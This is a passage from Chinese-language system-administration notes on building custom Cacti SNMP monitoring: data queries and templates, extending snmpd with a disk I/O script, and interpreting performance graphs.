      sh$ snmpwalk -v2c 192.168.0.98 -c demo .1.3.6.1.2.1.2.2.1.1  IF-MIB::ifIndex.1 = INTEGER: 1  IF-MIB::ifIndex.2 = INTEGER: 2  IF-MIB::ifIndex.3 = INTEGER: 3  IF-MIB::ifIndex.4 = INTEGER: 4    sh$ snmpwalk -v2c 192.168.0.98 -c demo .1.3.6.1.2.1.2.2.1  IF-MIB::ifIndex.1 = INTEGER: 1  IF-MIB::ifIndex.2 = INTEGER: 2  IF-MIB::ifIndex.3 = INTEGER: 3  IF-MIB::ifIndex.4 = INTEGER: 4  IF-MIB::ifDescr.1 = STRING: lo  IF-MIB::ifDescr.2 = STRING: eth0  IF-MIB::ifDescr.3 = STRING: eth1  IF-MIB::ifDescr.4 = STRING: sit0  IF-MIB::ifType.1 = INTEGER: softwareLoopback(24)  IF-MIB::ifType.2 = INTEGER: ethernetCsmacd(6)  IF-MIB::ifType.3 = INTEGER: ethernetCsmacd(6)  IF-MIB::ifType.4 = INTEGER: tunnel(131)  IF-MIB::ifMtu.1 = INTEGER: 16436  IF-MIB::ifMtu.2 = INTEGER: 1500  IF-MIB::ifMtu.3 = INTEGER: 1500  IF-MIB::ifMtu.4 = INTEGER: 1480  IF-MIB::ifSpeed.1 = Gauge32: 10000000  IF-MIB::ifSpeed.2 = Gauge32: 100000000  IF-MIB::ifSpeed.3 = Gauge32: 10000000  IF-MIB::ifSpeed.4 = Gauge32: 0  IF-MIB::ifPhysAddress.1 = STRING:  IF-MIB::ifPhysAddress.2 = STRING: 0:2:b3:b0:59:36  IF-MIB::ifPhysAddress.3 = STRING: 0:2:b3:b0:59:4a  IF-MIB::ifPhysAddress.4 = STRING: 0:0:0:0:59:4a  IF-MIB::ifAdminStatus.1 = INTEGER: up(1)  IF-MIB::ifAdminStatus.2 = INTEGER: up(1)  IF-MIB::ifAdminStatus.3 = INTEGER: down(2)  IF-MIB::ifAdminStatus.4 = INTEGER: down(2)  IF-MIB::ifOperStatus.1 = INTEGER: up(1)  IF-MIB::ifOperStatus.2 = INTEGER: up(1)  IF-MIB::ifOperStatus.3 = INTEGER: down(2)  IF-MIB::ifOperStatus.4 = INTEGER: down(2)  IF-MIB::ifInOctets.1 = Counter32: 47501639  IF-MIB::ifInOctets.2 = Counter32: 330944755  IF-MIB::ifInOctets.3 = Counter32: 0  IF-MIB::ifInOctets.4 = Counter32: 0  IF-MIB::ifInUcastPkts.1 = Counter32: 462545  IF-MIB::ifInUcastPkts.2 = Counter32: 1813708  IF-MIB::ifInUcastPkts.3 = Counter32: 0  IF-MIB::ifInUcastPkts.4 = Counter32: 0  IF-MIB::ifInDiscards.1 = Counter32: 0  IF-MIB::ifInDiscards.2 = Counter32: 0  IF-MIB::ifInDiscards.3 = Counter32: 0  IF-MIB::ifInDiscards.4 = Counter32: 0  IF-MIB::ifInErrors.1 = Counter32: 0  IF-MIB::ifInErrors.2 = Counter32: 0  IF-MIB::ifInErrors.3 = Counter32: 0  IF-MIB::ifInErrors.4 = Counter32: 0  IF-MIB::ifOutOctets.1 = Counter32: 47503937  IF-MIB::ifOutOctets.2 = Counter32: 1131397599  IF-MIB::ifOutOctets.3 = Counter32: 0  IF-MIB::ifOutOctets.4 = Counter32: 0  IF-MIB::ifOutUcastPkts.1 = Counter32: 462577  IF-MIB::ifOutUcastPkts.2 = Counter32: 1444246  IF-MIB::ifOutUcastPkts.3 = Counter32: 0  IF-MIB::ifOutUcastPkts.4 = Counter32: 0  IF-MIB::ifOutDiscards.1 = Counter32: 0  IF-MIB::ifOutDiscards.2 = Counter32: 0  IF-MIB::ifOutDiscards.3 = Counter32: 0  IF-MIB::ifOutDiscards.4 = Counter32: 0  IF-MIB::ifOutErrors.1 = Counter32: 0  IF-MIB::ifOutErrors.2 = Counter32: 0  IF-MIB::ifOutErrors.3 = Counter32: 0  IF-MIB::ifOutErrors.4 = Counter32: 0  IF-MIB::ifOutQLen.1 = Gauge32: 0  IF-MIB::ifOutQLen.2 = Gauge32: 0  IF-MIB::ifOutQLen.3 = Gauge32: 0  IF-MIB::ifOutQLen.4 = Gauge32: 0  IF-MIB::ifSpecific.1 = OID: SNMPv2-SMI::zeroDotZero  IF-MIB::ifSpecific.2 = OID: SNMPv2-SMI::zeroDotZero  IF-MIB::ifSpecific.3 = OID: SNMPv2-SMI::zeroDotZero  IF-MIB::ifSpecific.4 = OID: SNMPv2-SMI::zeroDotZero 
    而查询进程数量则是:
      sh$ snmpwalk -v2c 192.168.0.98 -c demo .1.3.6.1.4.1.2021.2.1.1  UCD-SNMP-MIB::prIndex.1 = INTEGER: 1  UCD-SNMP-MIB::prIndex.2 = INTEGER: 2    sh$ snmpwalk -v2c 192.168.0.98 -c demo .1.3.6.1.4.1.2021.2.1  UCD-SNMP-MIB::prIndex.1 = INTEGER: 1  UCD-SNMP-MIB::prIndex.2 = INTEGER: 2  UCD-SNMP-MIB::prNames.1 = STRING: vsftpd  UCD-SNMP-MIB::prNames.2 = STRING: httpd  UCD-SNMP-MIB::prMin.1 = INTEGER: 1  UCD-SNMP-MIB::prMin.2 = INTEGER: 1  UCD-SNMP-MIB::prMax.1 = INTEGER: 0  UCD-SNMP-MIB::prMax.2 = INTEGER: 1000  UCD-SNMP-MIB::prCount.1 = INTEGER: 1  UCD-SNMP-MIB::prCount.2 = INTEGER: 11  UCD-SNMP-MIB::prErrorFlag.1 = INTEGER: noError(0)  UCD-SNMP-MIB::prErrorFlag.2 = INTEGER: noError(0)  UCD-SNMP-MIB::prErrMessage.1 = STRING:  UCD-SNMP-MIB::prErrMessage.2 = STRING:  UCD-SNMP-MIB::prErrFix.1 = INTEGER: noError(0)  UCD-SNMP-MIB::prErrFix.2 = INTEGER: noError(0)  UCD-SNMP-MIB::prErrFixCmd.1 = STRING:  UCD-SNMP-MIB::prErrFixCmd.2 = STRING:

    所以必须对这些内容进行定义,这个定义就是通过一个 XML 文件来完成的。

    可以查看 The Cacti Manual 的说明:

All data queries have two parts, the XML file and the definition within Cacti. An XML file must be created for each query, that defines where each piece of information is and how to retrieve it. This could be thought of as the actual query. The second part is a definition within Cacti, which tells Cacti where to find the XML file and associates the data query with one or more graph templates.

下面是 /resource/snmp_queries/processes.xml 的内容:

        Get Important Processes Number      .1.3.6.1.4.1.2021.2.1.1      prNames:prMin:prMax:prCount      numeric      |chosen_order_field|                                Index              walk              value              input              .1.3.6.1.4.1.2021.2.1.1                                  Names              walk              value              input              .1.3.6.1.4.1.2021.2.1.2                                  Min              walk              value              input              .1.3.6.1.4.1.2021.2.1.3                                  Max              walk              value              input              .1.3.6.1.4.1.2021.2.1.4                                  Count              walk              value              output              .1.3.6.1.4.1.2021.2.1.5                  

说明一下,这里 必须定义正确,它是 SNMP 那个能得到 Index 数字的那个 OID,而不是得到全部查询结果的那个 OID,例如对于前面网卡流量,就是 .1.3.6.1.2.1.2.2.1.1(IF-MIB::ifIndex.*) 而不是 .1.3.6.1.2.1.2.2.1,前者 比后者多一个 .1。对进程数量,也是同样的道理,是 .1.3.6.1.4.1.2021.2.1.1(UCD-SNMP-MIB::prIndex.*) 而不是.1.3.6.1.4.1.2021.2.1

然后每一个 XML 的节点命名都与 snmpwalk 的查询结果相对应,实际上只需要截取你需要 的那部分查询编写到 XML 文件中即可。

如果不太清楚格式,可以参照 /resource/snmp_queries/ 下的 interface.xml 文件,节点说明可以从:http://www.cacti.net/downloads/docs/html/snmp_query_xml.html 找到。

是一个比较重要的字段,input 表示在发出 SNMP 查询时对用户已知的 数据,而 output 表示未知的数据,通常这些未知的数据就是我需要在图形上显示 出来的统计数据。例如对于进程数量,prNames/prMin/prMax 都是在 /etc/snmp/snmpd.conf 中定义的,所以对我来说这都是已知数据,并且在以后定义了 Data Templates 和 Graph Templates 后,当我选择创建图形时,这些数据都将应用地 显示给用户;而 prCount 就是每次查询时的当前进程数量,是我需要通过查询得到的结果。

然后创建 Data Templates,进入"Console -> Data Templates","Add",在"Name"框中 使用:|host_description| - Important Processes Number,这里 |host_description| 会给与将来创建实际图形时更改留有余地,当然,这时还需要选中Use Per-Data Source Value (Ignore this Value)这个复选框。对其他需要 Custom 的内容,也是同理,需要选择相应的Use Per-Data Source Value (Ignore this Value) 复选框。"Data Input Method"选择"Get SNMP Data (Indexed)"。

"Data Source Item [procs]"的定义比较重要,[]中为 ds 即"Internal Data Source Name"的定义。可以增加新的 Data Source Item。问题是,在什么情况下应该增加呢?

看一下网卡流量的 snmpwalk 输出,其中包含:

  IF-MIB::ifInOctets.1 = Counter32: 47501639  IF-MIB::ifInOctets.2 = Counter32: 330944755  IF-MIB::ifInOctets.3 = Counter32: 0  IF-MIB::ifInOctets.4 = Counter32: 0  ...  IF-MIB::ifOutOctets.1 = Counter32: 47503937  IF-MIB::ifOutOctets.2 = Counter32: 1131397599  IF-MIB::ifOutOctets.3 = Counter32: 0  IF-MIB::ifOutOctets.4 = Counter32: 0

前者是流入报文的统计值,后面一段是流出报文的统计值,其中:

  IF-MIB::ifInOctets.2 = Counter32: 330944755  IF-MIB::ifOutOctets.2 = Counter32: 1131397599

就是 eth0 这个网卡的流入与流出。我希望将这两个统计结果放在一个图形上显示出来, 从而很方便的反映出 eth0 这个网卡的流量,那么就分别创建一个 trafic_in 和 trafic_out 的 Data Source Item。这也是 Cacti 默认的设置。

但是对于统计进程数量来说,你 不可能将两个进程(例如 httpd 和 mysqld)的统计结果显示在同一个图形上,因为他们的 OID 都是 prCount。 你当然可以创建一个 httpd 的 DS,然后再创建一个 mysqld 的 DS,但将来把 Data Queries 联系到 Data Templates 的之后,作图时会在日志中提示: ERROR: Duplicate DS name: mysqld这样的出错信息,并且 rrdtool 命令也会不正确 即将同一个数据源的数据在一个图上画了两次,结果当然是完全重叠了。

所以如果你在 /etc/snmp/snmpd.conf 中定义了两个 proc,并且在创建 Graph 时在 "Data Query"中选择了监控两个进程(httpd/mysqld),那么肯定会有两个图形。至于是否 能利用 rrdtool 来实现图形的叠加,则不是这里要讨论的了。

接着创建 Graph Templates,"Console -> Graph Templates","Add",在 "Graph Template Items"中选择"Add"先添加曲线作图项:"Data Source"就是前面创建的 那个"Data Template",而"Graph Item Type"一般对于曲线来说,可以选择 LINE 或 AREA ,STACK 是堆叠曲线,即将第二项的值在图形上直接堆积在第一项之上。

这时"Graph Item Inputs"也会有相应的项目。通常你还需要一个显示进程数量数字的 统计值在图形上,继续在"Graph Template Items"中添加,"Data Source"仍然选择前面的 那个 Data Template(注意如果在创建 Date Templates 时创建了两个以上的 DS,那么在 下拉列表框中都会有相应的选项),"Graph Item Type"选择"GPRINT","Text Format"选择 一个合适的有意义的文本,比如"Current:"即可。

最后,按照前面的原理图,需要将 Data Queries 联系到相应的 Data Template 和 Graph Template。重新进入"Console -> Data Queries -> (Edit)"页面,在 "Associated Graph Templates"部分"Add",进入编辑页面,在 "Associated Graph/Data Templates"部分"Graph Template"选择刚才创建的那个 Graph Template,然后"Save",这时会出现"Associated Data Templates"部分,有相应的 Data Source,以及选择字段的下拉列表框,因为这里只有进程数量一个值,所以只有 prCount, 如果是监控网络流量,则会有好几个选择,比如"ifInOctets"和"ifOutOctets"等,可以 进入 Interface 的 Data Queries 做一个比较。然后选择那个复选框。

最好,我在"Suggested Values"->"Graph Template - SNMP - Important Processes"部分 添加了一个:

  title     |host_description| - Procs - |query_prNames|

其中 Field Name 为 title,即在显示图形的标题时,会显示相应的 prNames 作为一个 标识。

我在做 Associate 时,Data Template 部分出现如下的报错信息:

  Warning: Variable passed to each() is not an array or object in /data/httpd/monitor/cacti/data_queries.php on line 356

同时下拉列表框为空。说明 Associate 失败。这时强行应用的话,在日志中出现如下的 错误信息:

  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[87] WARNING: Result from SNMP not valid.  Partial Result: No Such Object avail  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[87] SNMP: v2: 210.14.65.69, dsname: cpu_nice, oid: .1.3.6.1.4.1.2021.11.51.0, output: U  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[88] WARNING: Result from SNMP not valid.  Partial Result: No Such Object avail  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[88] SNMP: v2: 210.14.65.69, dsname: cpu_system, oid: .1.3.6.1.4.1.2021.11.52.0, output: U  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[89] WARNING: Result from SNMP not valid.  Partial Result: No Such Object avail  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[89] SNMP: v2: 210.14.65.69, dsname: cpu_user, oid: .1.3.6.1.4.1.2021.11.50.0, output: U  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[90] WARNING: Result from SNMP not valid.  Partial Result: No Such Object avail  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[90] SNMP: v2: 210.14.65.69, dsname: load_1min, oid: .1.3.6.1.4.1.2021.10.1.3.1, output: U  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[91] WARNING: Result from SNMP not valid.  Partial Result: No Such Object avail  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[91] SNMP: v2: 210.14.65.69, dsname: load_15min, oid: .1.3.6.1.4.1.2021.10.1.3.3, output: U  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[92] WARNING: Result from SNMP not valid.  Partial Result: No Such Object avail  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[92] SNMP: v2: 210.14.65.69, dsname: load_5min, oid: .1.3.6.1.4.1.2021.10.1.3.2, output: U  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[93] WARNING: Result from SNMP not valid.  Partial Result: No Such Object avail  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[93] SNMP: v2: 210.14.65.69, dsname: mem_buffers, oid: .1.3.6.1.4.1.2021.4.14.0, output: U  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[94] WARNING: Result from SNMP not valid.  Partial Result: No Such Object avail  05/29/2007 11:30:07 AM - CMDPHP: Poller[0] Host[10] DS[94] SNMP: v2: 210.14.65.69, dsname: mem_cache, oid: .1.3.6.1.4.1.2021.4.15.0, output: U

在跟踪了 /data/httpd/monitor/cacti/data_queries.php 代码后,最后发现是 XML 文件 中有错误。这说明 Cacti 没有 validation 检查,因此最好弄一个 XML 编辑器,对于 vi 最好增加相应的 XML 支持。

参考: A New SNMP Data Query

另外,还有一个比较简单快捷的办法,可以使用"SNMP - Generic OID Template",这个 模板简单的指定一个 SNMP 的 OID 就可以了。不需要额外的操作,只需简单的在"New Graph"时指定"Custom Data"->"OID"即可,对于这里的进程数量来说,就是: UCD-SNMP-MIB::prCount.1等,不过要转化成数字形式,即: .1.3.6.1.4.1.2021.2.1.5.1等。

当然这样做的弊端也是明显的,一是如果主机数量大就比较麻烦了,而且无法集成到自 定义的 Graph/Host Templates 中;二是对不同的主机,UCD-SNMP-MIB::prCount.1 可能代表不同的进程,例如在主机 A 表示 httpd,在主机 B 就可能是 mysqld,这样会 造成不一致性。

  1. 扩展 Graph/Data Templates 以支持 CPU I/O Wait 监测

    默认的 Cacti 只有 CPU 的 System/User/Nice 的情况,那么我希望增加一个对 IO Wait 的监测,那么理论上只需要扩展一下 ucd/net CPU Usage 这个 Graph Template 就应该 可以了。

    因为 Graph Template 总是与 Data Template 相关联,所以首先要创建 Data Template。 这里 ucd/net CPU Usage Graph Template 已经和 3 个 Data Template 相关联了,所以 在创建新的 Data Template 时可以拿来做一个参考。

    在这里,最主要的是设置"Data Input Method"为"Get SNMP Data",增加 "Internal Data Source Name"("cpu_iowait")以及"Data Source Type"("COUNTER"),并 在"Custom Data [ data input: Get SNMP Data ]"设定正确的 OID (.1.3.6.1.4.1.2021.11.54.0)。从这里,你也就可以理解 Get SNMP Data 和 Get SNMP Date (Indexed)这两种 Data Input Method 的区别了。

    在修改 ucd/net CPU Usage Graph Template 之前,最好先对它做一个备份。备份的方法 是导出。在"Export Templates"中选择模板,并"Save File Locally","Create"后就可以 以 XML 格式保存这个模板了。同时你还可以保存相应的 Data Templates 为 XML 文件。

    这里做一个深入的学习。就是将 Graph Template 和相应的 Data Template 做一个比较, 例如:

      sh$ diff cacti_graph_template_ucdnet_cpu_usage.xml cacti_data_template_ucdnet_cpu_usage_system.xml -y | less
    这样可以发现一个情况,就是 Graph Template 实际上已经包含了相应的 Data Template 的所有内容

    另外,可以编辑这个 XML 文件,将其中的部分内容改名,比如叫 New ucd/net CPU Usage,然后重新 Import Templates,你会发现原来的那个 Graph Template 实际上被 覆盖掉了。因为其中的内容本质上是通过 hash 来标识的。

    扩展 ucd/net CPU Usage Graph Template 可以参照已有的内容来做,比较简单。

    但我这里最后实际的情况是,如果增加了 IO Wait 显示之后,包括之前的所有图形都无法 显示了!What is wrong?

  2. 导入网络上已有的 Script 资源(Data Input Method: Script/CMD)

    为了避免重新发明轮子,应该尽可能利用现有资源,例如在 Cacti 的论坛里有很多比较好 的 Templates 可以拿来直接使用。比如: better ucd/net-snmp memory usage 这个 Template 对内存使用情况的显示更为直观,并且有 swap 使用的情况,更便于分析

    这个 Templates 是利用 Script 来做查询的,不过这个 Script 实际上做的也是 SNMP 查询,只不过这个过程对 Cacti 来说是透明的。

    实现的过程是,在下载的 .tar.gz 包中,包含两个目录,将 scripts 目录下的脚本文件 netsnmp_memory_usage.php 拷贝到 /scripts/ 下,然后将 resource 目录 下的两个 XML 文件(Graph/Data Template)通过 Import Templates 导入到 Cacti 中即可 。接着就可以在 New Graph 中创建新的 Memery Usage 的图形了。最好将 XML 文件中 的部分进行改名编辑,这样在导入后比较清楚,例如我都改名为 "Script - ucd/net - Memory Usage"。

    但为了对 Cacti 的本质有一个更深入的认识,应该查看一下相关的 Templates。Graph Template 没什么新内容,看看与之关联的"Data Template" (Script - ucd/net - Memory Usage),其"Data Input Method"指向 "Script - ucd/net - Memory Usage",则查看这个 Data Input Method。

    在这个 Input Method 中,最重要的是 Input Type 的选择,为"Script/Command",其与 Script Query 的区别,同 SNMP(Get SNMP Data) 和 SNMP Query(SNMP Queries (Indexed)) 的区别相似,前者只是取得一个单独的数据,后者则是取得一个序列的数据(Indexed), 所以后者需要定义一个 XML 文件来指定相应的 Query 对应的命令。在 Script/Command 中,命令就定义在"Input String"

      ( -q /scripts/netsnmp_memory_usage.php , , , , , , )
    (在相应的 Graph Template 中也可以看到这个定义)。而对于 Script Query,命令是在 XML Query 文件中分别定义的。

    注意上面< >号中的内容,表明了用 Settings 中的内容来进行替换。

  3. 扩展 SNMP 以增加对 DISK I/O 的监控。

    默认的 SNMP 没有 DISK I/O 的支持!但如果要分析主机设备的瓶颈,DISK I/O 又是必须 的。幸运的是 SNMP 是可以扩展的,再结合前面的 SNMP Data Queries (Indexed),即可 实现对磁盘 I/O 的监控。参考: Disk I/O statistics on Linux

    具体做法是,在每一个被控主机上,拷贝 snmpdiskio 脚本到 /usr/local/bin/,并在 /etc/snmp/snmpd.conf 中增加如下内容:

      exec .1.3.6.1.4.1.2021.54 hdNum /usr/local/bin/snmpdiskio hdNum  exec .1.3.6.1.4.1.2021.55 hdIndex /usr/local/bin/snmpdiskio hdIndex  exec .1.3.6.1.4.1.2021.56 hdDescr /usr/local/bin/snmpdiskio hdDescr  exec .1.3.6.1.4.1.2021.57 hdInBlocks /usr/local/bin/snmpdiskio hdInBlocks  exec .1.3.6.1.4.1.2021.58 hdOutBlocks /usr/local/bin/snmpdiskio hdOutBlocks

    然后在监控主机上,将两个 Graph/Data Template XML 文件 Import 到 Cacti 中,并将 partition.xml 这个 XML Data Queries 拷贝到 Cacti 的 /cacti/resources/snmp_queries/。接着就可以为各个主机创建磁盘 I/O 的 图形了。

    可以看一下 snmpdiskio 这个脚本,这是一个 Shell 脚本:

      #!/bin/bash  # $Id: snmpdiskio,v 1.3 2006/04/04 13:11:47 mikaelf Exp $  # snmpdiskio v0.9.4 (c) 2006 Mikael Fridh     # Set default procfile for kernel 2.4  PROCFILE="/proc/partitions"  MODE="linux24"    # Probably kernel 2.6:  if [ -f /proc/diskstats ]; then      PROCFILE=/proc/diskstats      MODE="linux26"  fi      function hdNum()  {      awk ' BEGIN { num=0 } $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ { num++ } END { print num } ' $PROCFILE  }    function hdIndex()  {      awk ' BEGIN { num=0 } $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ { num++; print num } ' $PROCFILE  }    function hdDescr()  {      if [ "$MODE" = "linux26" ]; then          awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ { printf "%s\n", $3 }' $PROCFILE      else          awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ { printf "%s\n", $4 }' $PROCFILE      fi  }    function hdInBlocks()  {      awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $10 ~ /[0-9]+/ { printf "%.0f\n", $10 * 512 }            $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $10 !~ /[0-9]+/ { printf "%.0f\n", $5 * 512 } ' $PROCFILE  }    function hdOutBlocks()  {      awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $8 ~ /[0-9]+/ { printf "%.0f\n", $8 * 512 }            $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $8 !~ /[0-9]+/ { printf "%.0f\n", $7 * 512 } ' $PROCFILE  }    function usage()  {      cat <<-EOUSAGE  Usage: $0   EOUSAGE  }    if [ 1 -ne $# ]; then      usage      exit 1  fi    case $1 in      hdNum|hdIndex|hdDescr|hdInBlocks|hdOutBlocks)          $1      ;;      'hdNum')          hdNum      ;;      'hdIndex')          hdIndex      ;;      'hdDescr')          hdDescr      ;;      'hdInBlocks')          hdInBlocks      ;;      'hdOutBlocks')          hdOutBlocks      ;;      *)          usage          exit 1      ;;  esac    exit 0

    所以,实际上它就是通过从 /proc/diskstats 文件中获取 COUNTER 数据并经过 awk 处理 而已。可以手工运行一下/usr/local/bin/snmpdiskio hdNum/usr/local/bin/snmpdiskio hdIndex 等并与相应的 snmpwalk 的输出结果进行比较就会有一个更清楚的认识了。

    此外了解到使用 exec 来对 SNMP 进行扩展也是很有价值的。可以使用 man snmpd.conf 料了解更详细的信息。

exec NAME PROG ARGS

exec MIBNUM NAME PROG ARGS

If MIBNUM is not specified, the agent executes the named PROG with arguments of ARGS and returns the exit status and the first line of the STDOUT output of the PROG program to queries of the 1.3.6.1.4.1.2021.8.1.100 and 1.3.6.1.4.1.2021.8.1.101 mib columns (respectively). All STDOUT output beyond the first line is silently truncated.

If MIBNUM is specified, it acts as above but returns the exit status to MIBNUM.100.0 and the entire STDOUT output to the table MIBNUM.101 in a MIB table. In this case, the MIBNUM.101 mib contains the entire STDOUT output, one MIB table entry per line of output (ie, the first line is output as MIBNUM.101.1, the second at MIBNUM.101.2, etc...).

Note: The MIBNUM must be specified in dotted-integer notation and can not be specified as ".iso.org.dod.internet..." (should instead be

.1.3.6.1...).

Note: The agent caches the exit status and STDOUT of the executed program for 30 seconds after the initial query. This is to increase speed and maintain consistency of information for consecutive table queries. The cache can be flushed by a snmp-set request of integer(1)

to 1.3.6.1.4.1.2021.100.VERCLEARCACHE.

但上面的脚本还是有问题的,主要是 2.4 内核的 /proc/partitions 和 2.6 内核的 /proc/diskstats 的字段不一样,而且 2.6 中 /dev/sdb 和 /dev/sdb1 的显示其字段也 是不一样的,所以必须分别匹配:

  #!/bin/bash  # $Id: snmpdiskio,v 1.5 2007/02/22 01:12:50 pdestefanis Exp $  # snmpdiskio v0.9.5 (c) 2007 Pablo Destefanis   # snmpdiskio v0.9.4 (c) 2006 Mikael Fridh     # Fields in /proc/partitions (kernel 2.4)  # major minor #blocks name rio rmerge rsect ruse wio wmerge wsect wuse running use aveq    # Fields in /proc/diskstats (kernel 2.6) for disks (i.e. hda)  # major minor name rio rmerge rsect ruse wio wmerge wsect wuse running use aveq    # Fields in /proc/diskstats (kernel 2.6) for partitions (i.e. hda1)  # major minor name rio rsect wio wsect    # InBlocks = sectors written to disk  # OutBlocks = sectors read from disk    # Set default procfile for kernel 2.4  PROCFILE="/proc/partitions"  MODE="linux24"    # Probably kernel 2.6:  if [ -f /proc/diskstats ]; then      PROCFILE=/proc/diskstats      MODE="linux26"  fi      function hdNum()  {      awk ' BEGIN { num=0 } $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ { num++ } END { print num } ' $PROCFILE  }    function hdIndex()  {      awk ' BEGIN { num=0 } $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ { num++; print num } ' $PROCFILE  }    function hdDescr()  {      if [ "$MODE" = "linux26" ]; then          awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ { printf "%s\n", $3 }' $PROCFILE      else          awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ { printf "%s\n", $4 }' $PROCFILE      fi  }    function hdInBlocks()  {      if [ "$MODE" = "linux26" ]; then          awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $3 ~ /[0-9]+/ { printf "%.0f\n", $7 * 512 }                $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $3 !~ /[0-9]+/ { printf "%.0f\n", $10 * 512 } ' $PROCFILE      else          awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $4 ~ /[a-z]+/ { printf "%.0f\n", $11 * 512 } ' $PROCFILE      fi  }    function hdOutBlocks()  {      if [ "$MODE" = "linux26" ]; then          awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $3 ~ /[0-9]+/ { printf "%.0f\n", $5 * 512 }                $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $3 !~ /[0-9]+/ { printf "%.0f\n", $6 * 512 } ' $PROCFILE      else          awk ' $1 ~ /[0-9]+/ && $2 ~ /[0-9]+/ && $4 ~ /[a-z]+/ { printf "%.0f\n", $7 * 512 } ' $PROCFILE      fi  }    function usage()  {      cat <<-EOUSAGE  Usage: $0   EOUSAGE  }    if [ 1 -ne $# ]; then      usage      exit 1  fi    case $1 in      hdNum|hdIndex|hdDescr|hdInBlocks|hdOutBlocks)      $1      ;;      'hdNum')          hdNum      ;;      'hdIndex')          hdIndex      ;;      'hdDescr')          hdDescr      ;;      'hdInBlocks')          hdInBlocks      ;;      'hdOutBlocks')          hdOutBlocks      ;;      *)          usage      exit 1      ;;  esac    exit 0

具体的字段可以在网络上查到,但也可以利用 sysstat 的 iostat 工具来进行对比,通过 比较 iostat 的输出和 /proc/diskstats 各个字段的值,就可以知道 /proc/diskstats 那个字段是表示读,那个字段是表示写了。

有时候,读/写的含义不是从磁盘的角度来考虑的,而是从内核(Driver)的角度来考虑的, 如果搞不清楚读/写的含义是否正确,一个简单明了的办法就是拷贝一个大文件,然后对比 一下 Cacti 输出的图形即可。

另外,这种 awk 的使用方法很有意思,值得学习

更进一步,我们已经知道如何扩展 SNMP,那么也就可以直接利用 iostat 以及 sar 的 数据直接显示到 Cacti 的图形中了。

设备整体性能分析方法

重要图形的含义解释

CPU 400%

Load Average, 如果 CPU 数量是 4(包括超线程),则 loadavg<4 则完全可以肯定负载低

例1:内存,Used 比重很大,buffers/cache 很少,伴随着 swap 换页,同时 httpd 进程 数量大幅度升高,磁盘 I/O 也有所增加,平均负载和 CPU Usage 两项指标的上升也是 比较大的,那么可以判断是进程占用资源比较多,尤其是内存资源占用比较大。

例2:一个备份程序(会产生若干子进程),内存、网络带宽、系统负载和 CPU Usage 都 不算太高(会有一定程度的升高),磁盘 I/O 的速率的提升也有限,大概也就 1~2M 的样子 ,但运行时间很长,因此可以断定是程序算法的问题,更进一步可以判断是压缩部分占据 了最多的时间,另外开头部分寻找待备份文件列表也花费了不少时间,所以应该考虑在 重构中实现并发处理来提高效率。

例3: 磁盘 I/O 大幅度增加(由之前的 100~200k 增加到 3M 左右),伴随着系统负载的 大幅度上升(由之前的 1~3 增加到几十到上百,最高时达到 200),同时 httpd 进出数量 翻了一倍还多(从不到 200 增加到近 500),网络流量有一定幅度的提高,但不是很大,而 CPU Usage 却很低,我估计也像例2中那样是由于慢的磁盘操作算法导致的,只不过这样 程序的进程比较多(可能是通过 httpd 运行的 php 程序),所以系统负载很高???

监控的组织和安全

参见:设定 SNMP 通过 VPN 线路传输数据

T0DO

  • 为 CPU Usage 增加 I/O Wait 的数据(造成 I/O Wait 的可能原因有哪些?另外 I/O Wait 是否包括 CPU 对内存的等待时间,还是仅仅指 Disk I/O?)
  • 编写可插入 Cacti 的自定义脚本具体实现方法?
  • 使用 Python 重构进程报警脚本,使用真正的 daemon 方法,最好能够插入 Cacti
  • 利用 rrdtool 实现数据合并功能,并实现在 Cacti 中的配置,例如将两个进程数量 曲线显示在一个图形上
  • 如果管理定制和扩展的模板和脚本以及 XML 文件,实现配置的管理以及升级和恢复等 操作中更好的复用性
  • 如何监测某个或某类进程的所有资源使用情况,例如 httpd?利用 sar?

Log Analysis

日志管理

日志管理有两个目的:其一是过滤,即从日志中滤除噪音,保留重要信息(信噪比),这些 信息通常是与系统故障、安全相关的内容,或者是系统必须完成的一些任务。其二是从 日志中获得统计数据,从而为进一步的数据挖掘提供基础。

如果在每一台主机上保留和分析日志,在管理上是不太方便的,而且作为系统重要信息, 这些日志理应被妥善的备份保留,以作为回溯和调查时可用的依据。

因此先来讨论一下如何对日志进行集中。如果硬件条件运行,那么可以考虑使用集中日志 记录的办法,比如有一台专门的日志服务器,它的网络带宽足够大,可以将整个局域网的 日志都记录到它,syslog 本身是支持远程日志记录的,而 syslog-ng 可以支持加密记录 。但如果带宽不够,就会产生瓶颈,导致日志丢失的情况。

